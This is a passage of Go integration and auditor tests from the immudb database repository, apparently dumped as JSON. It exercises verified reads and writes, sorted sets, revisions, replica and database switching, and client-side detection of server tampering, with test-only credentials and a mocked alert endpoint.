[]byte(`val`))\n\trequire.NoError(t, err)\n\n\tds := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tvar clientConn *grpc.ClientConn\n\tclientConn, err = grpc.Dial(\"add\", ds...)\n\trequire.NoError(t, err)\n\tserviceClient := schema.NewImmuServiceClient(clientConn)\n\n\tauditorDir := t.TempDir()\n\n\tda, err := auditor.DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\tds,\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tnil,\n\t\tauditor.AuditNotificationConfig{},\n\t\tserviceClient,\n\t\tstate.NewUUIDProvider(serviceClient),\n\t\tcache.NewHistoryFileCache(auditorDir),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tauditorDone := make(chan struct{}, 2)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n}\n\nfunc TestRepeatedAuditorRunOnDb(t *testing.T) {\n\tbs := servertest.NewBufconnServer(\n\t\tserver.DefaultOptions().\n\t\t\tWithDir(t.TempDir()).\n\t\t\tWithAuth(true).\n\t\t\tWithAdminPassword(auth.SysAdminPassword),\n\t)\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tctx := context.Background()\n\tpr := &PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\ttkf := cmdtest.RandString()\n\tts := tokenservice.\n\t\tNewFileTokenService().\n\t\tWithTokenFileName(tkf).\n\t\tWithHds(newMockHomedir())\n\tcliopt := client.DefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions(dialOptions).\n\t\tWithPasswordReader(pr)\n\n\tcliopt.PasswordReader = pr\n\tcliopt.DialOptions = dialOptions\n\n\tcli, err := client.NewImmuClient(cliopt)\n\trequire.NoError(t, err)\n\tcli.WithTokenService(ts)\n\tlresp, err := cli.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lresp.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t_, err = cli.Set(ctx, []byte(`key`), []byte(`val`))\n\trequire.NoError(t, err)\n\n\tds := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tvar clientConn *grpc.ClientConn\n\tclientConn, err = grpc.Dial(\"add\", ds...)\n\trequire.NoError(t, err)\n\tserviceClient := schema.NewImmuServiceClient(clientConn)\n\n\talertConfig := auditor.AuditNotificationConfig{\n\t\tURL:      \"http://some-non-existent-url.com\",\n\t\tUsername: \"some-username\",\n\t\tPassword: \"some-password\",\n\t\tPublishFunc: func(req *http.Request) (*http.Response, error) {\n\t\t\treturn &http.Response{\n\t\t\t\tStatus:     http.StatusText(http.StatusNoContent),\n\t\t\t\tStatusCode: http.StatusNoContent,\n\t\t\t\tBody:       ioutil.NopCloser(strings.NewReader(\"All good\")),\n\t\t\t}, nil\n\t\t},\n\t}\n\n\tauditorDir := t.TempDir()\n\n\tda, err := auditor.DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\tds,\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\t[]string{\"SomeNonExistentDb\", \"\"},\n\t\tnil,\n\t\talertConfig,\n\t\tserviceClient,\n\t\tstate.NewUUIDProvider(serviceClient),\n\t\tcache.NewHistoryFileCache(auditorDir),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tauditorStop := make(chan struct{}, 1)\n\tauditorDone := make(chan struct{}, 1)\n\n\tgo da.Run(time.Duration(100)*time.Millisecond, false, auditorStop, auditorDone)\n\n\ttime.Sleep(time.Duration(2) * time.Second)\n\n\tauditorStop <- struct{}{}\n\t<-auditorDone\n}\n\nfunc TestDefaultAuditorRunOnDbWithSignature(t *testing.T) {\n\tpk, err := signer.ParsePublicKeyFile(\"./../../test/signer/ec3.pub\")\n\trequire.NoError(t, err)\n\n\ttestDefaultAuditorRunOnDbWithSignature(t, pk)\n}\n\nfunc TestDefaultAuditorRunOnDbWithSignatureFromState(t *testing.T) {\n\ttestDefaultAuditorRunOnDbWithSignature(t, nil)\n}\n\nfunc testDefaultAuditorRunOnDbWithSignature(t *testing.T, pk *ecdsa.PublicKey) {\n\tpKeyPath := \"./../../test/signer/ec3.key\"\n\tbs := servertest.NewBufconnServer(\n\t\tserver.DefaultOptions().\n\t\t\tWithDir(t.TempDir()).\n\t\t\tWithAuth(true).\n\t\t\tWithSigningKey(pKeyPath).\n\t\t\tWithAdminPassword(auth.SysAdminPassword))\n\tbs.Start()\n\tdefer bs.Stop()\n\n\tctx := context.Background()\n\tpr := &PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}\n\n\tdialOptions := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\ttkf := cmdtest.RandString()\n\tts := tokenservice.\n\t\tNewFileTokenService().\n\t\tWithTokenFileName(tkf).\n\t\tWithHds(newMockHomedir())\n\tcliopt := client.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions(dialOptions).\n\t\tWithPasswordReader(pr)\n\n\tcliopt.PasswordReader = pr\n\tcliopt.DialOptions = dialOptions\n\n\tcli, _ := client.NewImmuClient(cliopt)\n\tcli.WithTokenService(ts)\n\tlresp, err := cli.Login(ctx, []byte(\"immudb\"), []byte(\"immudb\"))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", lresp.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t_, err = cli.Set(ctx, []byte(`key`), []byte(`val`))\n\trequire.NoError(t, err)\n\n\tds := []grpc.DialOption{\n\t\tgrpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t}\n\n\tvar clientConn *grpc.ClientConn\n\tclientConn, err = grpc.Dial(\"add\", ds...)\n\trequire.NoError(t, err)\n\tserviceClient := schema.NewImmuServiceClient(clientConn)\n\n\tauditorDir := t.TempDir()\n\n\tda, err := auditor.DefaultAuditor(\n\t\ttime.Duration(0),\n\t\tfmt.Sprintf(\"%s:%d\", \"address\", 0),\n\t\tds,\n\t\t\"immudb\",\n\t\t\"immudb\",\n\t\tnil,\n\t\tpk,\n\t\tauditor.AuditNotificationConfig{},\n\t\tserviceClient,\n\t\tstate.NewUUIDProvider(serviceClient),\n\t\tcache.NewHistoryFileCache(auditorDir),\n\t\tfunc(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {},\n\t\tlogger.NewSimpleLogger(\"test\", os.Stdout),\n\t\tnil)\n\trequire.NoError(t, err)\n\n\tauditorDone := make(chan struct{}, 2)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n\terr = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/integration/client_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage integration\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/client/homedir\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/rs/xid\"\n\n\tic \"github.com/codenotary/immudb/pkg/client\"\n\timmuErrors \"github.com/codenotary/immudb/pkg/client/errors\"\n\n\t\"github.com/codenotary/immudb/pkg/fs\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/stretchr/testify/require\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nvar testData = struct {\n\tkeys    [][]byte\n\tvalues  [][]byte\n\trefKeys [][]byte\n\tset     []byte\n\tscores  []float64\n}{\n\tkeys:    [][]byte{[]byte(\"key1\"), []byte(\"key2\"), []byte(\"key3\")},\n\tvalues:  [][]byte{[]byte(\"value1\"), []byte(\"value2\"), []byte(\"value3\")},\n\trefKeys: [][]byte{[]byte(\"refKey1\"), []byte(\"refKey2\"), []byte(\"refKey3\")},\n\tset:     []byte(\"set1\"),\n\tscores:  []float64{1.0, 2.0, 3.0},\n}\n\nfunc setupTestServerAndClient(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient, context.Context) {\n\tbs := servertest.NewBufconnServer(server.\n\t\tDefaultOptions().\n\t\tWithMetricsServer(true).\n\t\tWithWebServer(true).\n\t\tWithDir(filepath.Join(t.TempDir(), \"data\")).\n\t\tWithAuth(true).\n\t\tWithLogRequestMetadata(true).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\"))\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tclient, err := bs.NewAuthenticatedClient(ic.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()),\n\t)\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { client.CloseSession(context.Background()) })\n\treturn bs, client, context.Background()\n}\n\nfunc setupTestServerAndClientWithToken(t *testing.T) (*servertest.BufconnServer, ic.ImmuClient, context.Context) {\n\tbs := servertest.NewBufconnServer(server.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithAuth(true).\n\t\tWithSigningKey(\"./../../test/signer/ec1.key\"),\n\t)\n\n\tbs.Start()\n\tt.Cleanup(func() { bs.Stop() })\n\n\tclient, err := ic.NewImmuClient(ic.\n\t\tDefaultOptions().\n\t\tWithDir(t.TempDir()).\n\t\tWithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}).\n\t\tWithServerSigningPubKey(\"./../../test/signer/ec1.pub\"),\n\t)\n\trequire.NoError(t, err)\n\tt.Cleanup(func() { client.Disconnect() })\n\n\tclient.WithTokenService(tokenservice.NewInmemoryTokenService())\n\trequire.NoError(t, err)\n\n\tresp, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`))\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", resp.Token)\n\tctx := metadata.NewOutgoingContext(context.Background(), md)\n\n\treturn bs, client, ctx\n}\n\nfunc testSafeSetAndSafeGet(ctx context.Context, t *testing.T, key []byte, value []byte, client ic.ImmuClient) {\n\t_, err := client.VerifiedSet(ctx, key, value)\n\trequire.NoError(t, err)\n\n\tvi, err := client.VerifiedGet(ctx, key)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, vi)\n\trequire.Equal(t, key, vi.Key)\n\trequire.Equal(t, value, vi.Value)\n}\n\nfunc testReference(ctx context.Context, t *testing.T, referenceKey []byte, key []byte, value []byte, client ic.ImmuClient) {\n\t_, err := client.SetReference(ctx, referenceKey, key)\n\trequire.NoError(t, err)\n\n\tvi, err := client.VerifiedGet(ctx, referenceKey)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, vi)\n\trequire.Equal(t, key, vi.Key)\n\trequire.Equal(t, value, vi.Value)\n}\n\nfunc testVerifiedReference(ctx context.Context, t *testing.T, key []byte, referencedKey []byte, value []byte, client ic.ImmuClient) {\n\tmd, err := client.VerifiedSetReference(ctx, key, referencedKey)\n\trequire.NoError(t, err)\n\n\tvi, err := client.VerifiedGetSince(ctx, key, md.Id)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, vi)\n\trequire.Equal(t, referencedKey, vi.Key)\n\trequire.Equal(t, value, vi.Value)\n}\n\nfunc testVerifiedZAdd(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) {\n\tfor i := 0; i < len(scores); i++ {\n\t\t_, err := client.VerifiedZAdd(ctx, set, scores[i], keys[i])\n\t\trequire.NoError(t, err)\n\t}\n\n\titemList, err := client.ZScan(ctx, &schema.ZScanRequest{\n\t\tSet:     set,\n\t\tSinceTx: uint64(len(scores)),\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, itemList)\n\trequire.Len(t, itemList.Entries, len(keys))\n\n\tfor i := 0; i < len(keys); i++ {\n\t\trequire.Equal(t, keys[i], itemList.Entries[i].Entry.Key)\n\t\trequire.Equal(t, values[i], itemList.Entries[i].Entry.Value)\n\t}\n}\n\nfunc testZAdd(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) {\n\tvar md *schema.TxHeader\n\tvar err error\n\n\tfor i := 0; i < len(scores); i++ {\n\t\tmd, err = client.ZAdd(ctx, set, scores[i], keys[i])\n\t\trequire.NoError(t, err)\n\t}\n\n\titemList, err := client.ZScan(ctx, &schema.ZScanRequest{\n\t\tSet:     set,\n\t\tSinceTx: md.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, itemList)\n\trequire.Len(t, itemList.Entries, len(keys))\n\n\tfor i := 0; i < len(keys); i++ {\n\t\trequire.Equal(t, keys[i], itemList.Entries[i].Entry.Key)\n\t\trequire.Equal(t, values[i], itemList.Entries[i].Entry.Value)\n\t}\n}\n\nfunc testZAddAt(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, at uint64, client ic.ImmuClient) {\n\tvar md *schema.TxHeader\n\tvar err error\n\n\tfor i := 0; i < len(scores); i++ {\n\t\tmd, err = client.ZAddAt(ctx, set, scores[i], keys[i], at)\n\t\trequire.NoError(t, err)\n\t}\n\n\titemList, err := client.ZScan(ctx, &schema.ZScanRequest{\n\t\tSet:     set,\n\t\tSinceTx: md.Id,\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, itemList)\n\trequire.Len(t, itemList.Entries, len(keys))\n\n\tfor i := 0; i < len(keys); i++ {\n\t\trequire.Equal(t, keys[i], itemList.Entries[i].Entry.Key)\n\t\trequire.Equal(t, values[i], itemList.Entries[i].Entry.Value)\n\t}\n}\n\nfunc testVerifiedZAddAt(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, at uint64, client ic.ImmuClient) {\n\tfor i := 0; i < len(scores); i++ {\n\t\t_, err := client.VerifiedZAddAt(ctx, set, scores[i], keys[i], at)\n\t\trequire.NoError(t, err)\n\t}\n\n\titemList, err := client.ZScan(ctx, &schema.ZScanRequest{\n\t\tSet:     set,\n\t\tSinceTx: uint64(len(scores)),\n\t})\n\trequire.NoError(t, err)\n\trequire.NotNil(t, itemList)\n\trequire.Len(t, itemList.Entries, len(keys))\n\n\tfor i := 0; i < len(keys); i++ {\n\t\trequire.Equal(t, keys[i], itemList.Entries[i].Entry.Key)\n\t\trequire.Equal(t, values[i], itemList.Entries[i].Entry.Value)\n\t}\n}\n\nfunc testGet(ctx context.Context, t *testing.T, client ic.ImmuClient) {\n\thdr, err := client.VerifiedSet(ctx, []byte(\"key-n11\"), []byte(\"val-n11\"))\n\trequire.NoError(t, err)\n\n\titem, err := client.GetSince(ctx, []byte(\"key-n11\"), hdr.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"key-n11\"), item.Key)\n\n\titem, err = client.GetAt(ctx, []byte(\"key-n11\"), hdr.Id)\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(\"key-n11\"), item.Key)\n}\n\nfunc testGetAtRevision(ctx context.Context, t *testing.T, client ic.ImmuClient) {\n\tkey := []byte(\"key-atrev\")\n\n\t_, err := client.Set(ctx, key, []byte(\"value1\"))\n\trequire.NoError(t, err)\n\n\t_, err = client.Set(ctx, key, []byte(\"value2\"))\n\trequire.NoError(t, err)\n\n\t_, err = client.Set(ctx, key, []byte(\"value3\"))\n\trequire.NoError(t, err)\n\n\t_, err = client.Set(ctx, key, []byte(\"value4\"))\n\trequire.NoError(t, err)\n\n\titem, err := client.GetAtRevision(ctx, key, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, item.Key)\n\trequire.Equal(t, []byte(\"value4\"), item.Value)\n\trequire.EqualValues(t, 4, item.Revision)\n\n\tvitem, err := client.VerifiedGetAtRevision(ctx, key, 0)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, vitem.Key)\n\trequire.Equal(t, []byte(\"value4\"), vitem.Value)\n\trequire.EqualValues(t, 4, vitem.Revision)\n\n\titem, err = client.GetAtRevision(ctx, key, 1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, item.Key)\n\trequire.Equal(t, []byte(\"value1\"), item.Value)\n\trequire.EqualValues(t, 1, item.Revision)\n\n\tvitem, err = client.VerifiedGetAtRevision(ctx, key, 1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, vitem.Key)\n\trequire.Equal(t, []byte(\"value1\"), vitem.Value)\n\trequire.EqualValues(t, 1, vitem.Revision)\n\n\titem, err = client.GetAtRevision(ctx, key, -1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, item.Key)\n\trequire.Equal(t, []byte(\"value3\"), item.Value)\n\trequire.EqualValues(t, 3, item.Revision)\n\n\tvitem, err = client.VerifiedGetAtRevision(ctx, key, -1)\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, vitem.Key)\n\trequire.Equal(t, []byte(\"value3\"), vitem.Value)\n\trequire.EqualValues(t, 3, vitem.Revision)\n\n\titem, err = client.Get(ctx, key, ic.AtRevision(-1))\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, item.Key)\n\trequire.Equal(t, []byte(\"value3\"), item.Value)\n\trequire.EqualValues(t, 3, item.Revision)\n\n\tvitem, err = client.VerifiedGet(ctx, key, ic.AtRevision(-1))\n\trequire.NoError(t, err)\n\trequire.Equal(t, key, vitem.Key)\n\trequire.Equal(t, []byte(\"value3\"), vitem.Value)\n\trequire.EqualValues(t, 3, vitem.Revision)\n}\n\nfunc testGetTxByID(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) {\n\tvi1, err := client.VerifiedSet(ctx, []byte(\"key-n11\"), []byte(\"val-n11\"))\n\trequire.NoError(t, err)\n\n\titem1, err := client.TxByID(ctx, vi1.Id)\n\trequire.Equal(t, vi1.Ts, item1.Header.Ts)\n\trequire.NoError(t, err)\n}\n\nfunc testImmuClient_VerifiedTxByID(ctx context.Context, t *testing.T, set []byte, scores []float64, keys [][]byte, values [][]byte, client ic.ImmuClient) {\n\tvi1, err := client.VerifiedSet(ctx, []byte(\"key-n11\"), []byte(\"val-n11\"))\n\trequire.NoError(t, err)\n\n\titem1, err3 := client.VerifiedTxByID(ctx, vi1.Id)\n\trequire.Equal(t, vi1.Ts, item1.Header.Ts)\n\trequire.NoError(t, err3)\n\n\t_, err = client.VerifiedSet(ctx, []byte(\"key-n12\"), []byte(\"val-n12\"))\n\trequire.NoError(t, err)\n\n\titem1, err3 = client.VerifiedTxByID(ctx, vi1.Id)\n\trequire.Equal(t, vi1.Ts, item1.Header.Ts)\n\trequire.NoError(t, err3)\n}\n\nfunc TestImmuClient(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\ttestSafeSetAndSafeGet(ctx, t, testData.keys[0], testData.values[0], client)\n\ttestSafeSetAndSafeGet(ctx, t, testData.keys[1], testData.values[1], client)\n\ttestSafeSetAndSafeGet(ctx, t, testData.keys[2], testData.values[2], client)\n\n\ttestVerifiedReference(ctx, t, testData.refKeys[0], testData.keys[0], testData.values[0], client)\n\ttestVerifiedReference(ctx, t, testData.refKeys[1], testData.keys[1], testData.values[1], client)\n\ttestVerifiedReference(ctx, t, testData.refKeys[2], testData.keys[2], testData.values[2], client)\n\n\ttestZAdd(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client)\n\ttestZAddAt(ctx, t, testData.set, testData.scores, testData.keys, testData.values, 0, client)\n\n\ttestVerifiedZAdd(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client)\n\ttestVerifiedZAddAt(ctx, t, testData.set, testData.scores, testData.keys, testData.values, 0, client)\n\n\ttestReference(ctx, t, testData.refKeys[0], testData.keys[0], testData.values[0], client)\n\ttestGetTxByID(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client)\n\ttestImmuClient_VerifiedTxByID(ctx, t, testData.set, testData.scores, testData.keys, testData.values, client)\n\n\ttestGet(ctx, t, client)\n\ttestGetAtRevision(ctx, t, client)\n}\n\nfunc TestImmuClientTampering(t *testing.T) {\n\tbs, client, ctx := setupTestServerAndClient(t)\n\n\t_, err := client.Set(ctx, []byte{0}, []byte{0})\n\trequire.NoError(t, err)\n\n\tbs.Server.PostSetFn = func(ctx context.Context,\n\t\treq *schema.SetRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\t_, err = client.Set(ctx, []byte{1}, []byte{1})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\t_, err = client.SetAll(ctx, &schema.SetRequest{\n\t\tKVs: []*schema.KeyValue{{Key: []byte{1}, Value: []byte{1}}},\n\t})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PostVerifiableSetFn = func(ctx context.Context,\n\t\treq *schema.VerifiableSetRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Tx.Header.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\t_, err = client.VerifiedSet(ctx, []byte{1}, []byte{1})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PostSetReferenceFn = func(ctx context.Context,\n\t\treq *schema.ReferenceRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\t_, err = client.SetReference(ctx, []byte{2}, []byte{1})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PostVerifiableSetReferenceFn = func(ctx context.Context,\n\t\treq *schema.VerifiableReferenceRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Tx.Header.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\t_, err = client.VerifiedSetReference(ctx, []byte{2}, []byte{1})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PostZAddFn = func(ctx context.Context,\n\t\treq *schema.ZAddRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\t_, err = client.ZAdd(ctx, []byte{7}, 1, []byte{1})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PostVerifiableZAddFn = func(ctx context.Context,\n\t\treq *schema.VerifiableZAddRequest, res *schema.VerifiableTx, err error) (*schema.VerifiableTx, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Tx.Header.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\t_, err = client.VerifiedZAdd(ctx, []byte{7}, 1, []byte{1})\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n\n\tbs.Server.PostExecAllFn = func(ctx context.Context,\n\t\treq *schema.ExecAllRequest, res *schema.TxHeader, err error) (*schema.TxHeader, error) {\n\n\t\tif err != nil {\n\t\t\treturn res, err\n\t\t}\n\n\t\tres.Nentries = 0\n\n\t\treturn res, nil\n\t}\n\n\taOps := &schema.ExecAllRequest{\n\t\tOperations: []*schema.Op{\n\t\t\t{\n\t\t\t\tOperation: &schema.Op_Kv{\n\t\t\t\t\tKv: &schema.KeyValue{\n\t\t\t\t\t\tKey:   []byte(`key`),\n\t\t\t\t\t\tValue: []byte(`val`),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t_, err = client.ExecAll(ctx, aOps)\n\trequire.ErrorIs(t, err, store.ErrCorruptedData)\n}\n\nfunc TestReplica(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\terr := client.CreateDatabase(ctx, &schema.DatabaseSettings{\n\t\tDatabaseName:    \"db1\",\n\t\tReplica:         true,\n\t\tPrimaryDatabase: \"defaultdb\",\n\t})\n\trequire.NoError(t, err)\n\n\tresp, err := client.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: \"db1\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, resp.Token)\n\n\terr = client.UpdateDatabase(ctx, &schema.DatabaseSettings{\n\t\tDatabaseName: \"db1\",\n\t\tReplica:      true,\n\t})\n\trequire.NoError(t, err)\n\n\tmd := metadata.Pairs(\"authorization\", resp.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t_, err = client.VerifiedSet(ctx, []byte(`db1-key1`), []byte(`db1-value1`))\n\trequire.ErrorContains(t, err, database.ErrIsReplica.Error())\n}\n\nfunc TestDatabasesSwitching(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClient(t)\n\n\terr := client.CreateDatabase(ctx, &schema.DatabaseSettings{\n\t\tDatabaseName: \"db1\",\n\t})\n\trequire.NoError(t, err)\n\n\tresp, err := client.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: \"db1\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, resp.Token)\n\n\tmd := metadata.Pairs(\"authorization\", resp.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t_, err = client.VerifiedSet(ctx, []byte(`db1-my`), []byte(`item`))\n\trequire.NoError(t, err)\n\n\terr = client.CreateDatabase(ctx, &schema.DatabaseSettings{\n\t\tDatabaseName: \"db2\",\n\t})\n\trequire.NoError(t, err)\n\n\tresp2, err := client.UseDatabase(ctx, &schema.Database{\n\t\tDatabaseName: \"db2\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, resp2.Token)\n\n\tmd = metadata.Pairs(\"authorization\", resp2.Token)\n\tctx = metadata.NewOutgoingContext(context.Background(), md)\n\n\t_, err = client.VerifiedSet(ctx, []byte(`db2-my`), []byte(`item`))\n\trequire.NoError(t, err)\n\n\tvi, err := client.VerifiedGet(ctx, []byte(`db1-my`))\n\trequire.ErrorContains(t, err, \"key not found\")\n\trequire.Nil(t, vi)\n}\n\nfunc TestDatabasesSwitchingWithInMemoryToken(t *testing.T) {\n\t_, client, _ := setupTestServerAndClient(t)\n\n\terr := client.CreateDatabase(context.Background(), &schema.DatabaseSettings{\n\t\tDatabaseName: \"db1\",\n\t})\n\trequire.NoError(t, err)\n\n\tresp, err := client.UseDatabase(context.Background(), &schema.Database{\n\t\tDatabaseName: \"db1\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, resp.Token)\n\n\t_, err = client.VerifiedSet(context.Background(), []byte(`db1-my`), []byte(`item`))\n\trequire.NoError(t, err)\n\n\terr = client.CreateDatabase(context.Background(), &schema.DatabaseSettings{\n\t\tDatabaseName: \"db2\",\n\t})\n\trequire.NoError(t, err)\n\n\tresp2, err := client.UseDatabase(context.Background(), &schema.Database{\n\t\tDatabaseName: \"db2\",\n\t})\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, resp2.Token)\n\n\t_, err = client.VerifiedSet(context.Background(), []byte(`db2-my`), []byte(`item`))\n\trequire.NoError(t, err)\n\n\tvi, err := client.VerifiedGet(context.Background(), []byte(`db1-my`))\n\trequire.ErrorContains(t, err, \"key not found\")\n\trequire.Nil(t, vi)\n}\n\nfunc TestImmuClientDisconnect(t *testing.T) {\n\t_, client, ctx := setupTestServerAndClientWithToken(t)\n\n\terr := client.Disconnect()\n\trequire.NoError(t, err)\n\n\trequire.False(t, client.IsConnected())\n\n\terr = client.CreateUser(ctx, []byte(\"user\"), []byte(\"passwd\"), 1, \"db\")\n\trequire.ErrorIs(t, err, ic.ErrNotConnected)\n\n\terr = client.ChangePassword(ctx, []byte(\"user\"), []byte(\"oldPasswd\"), 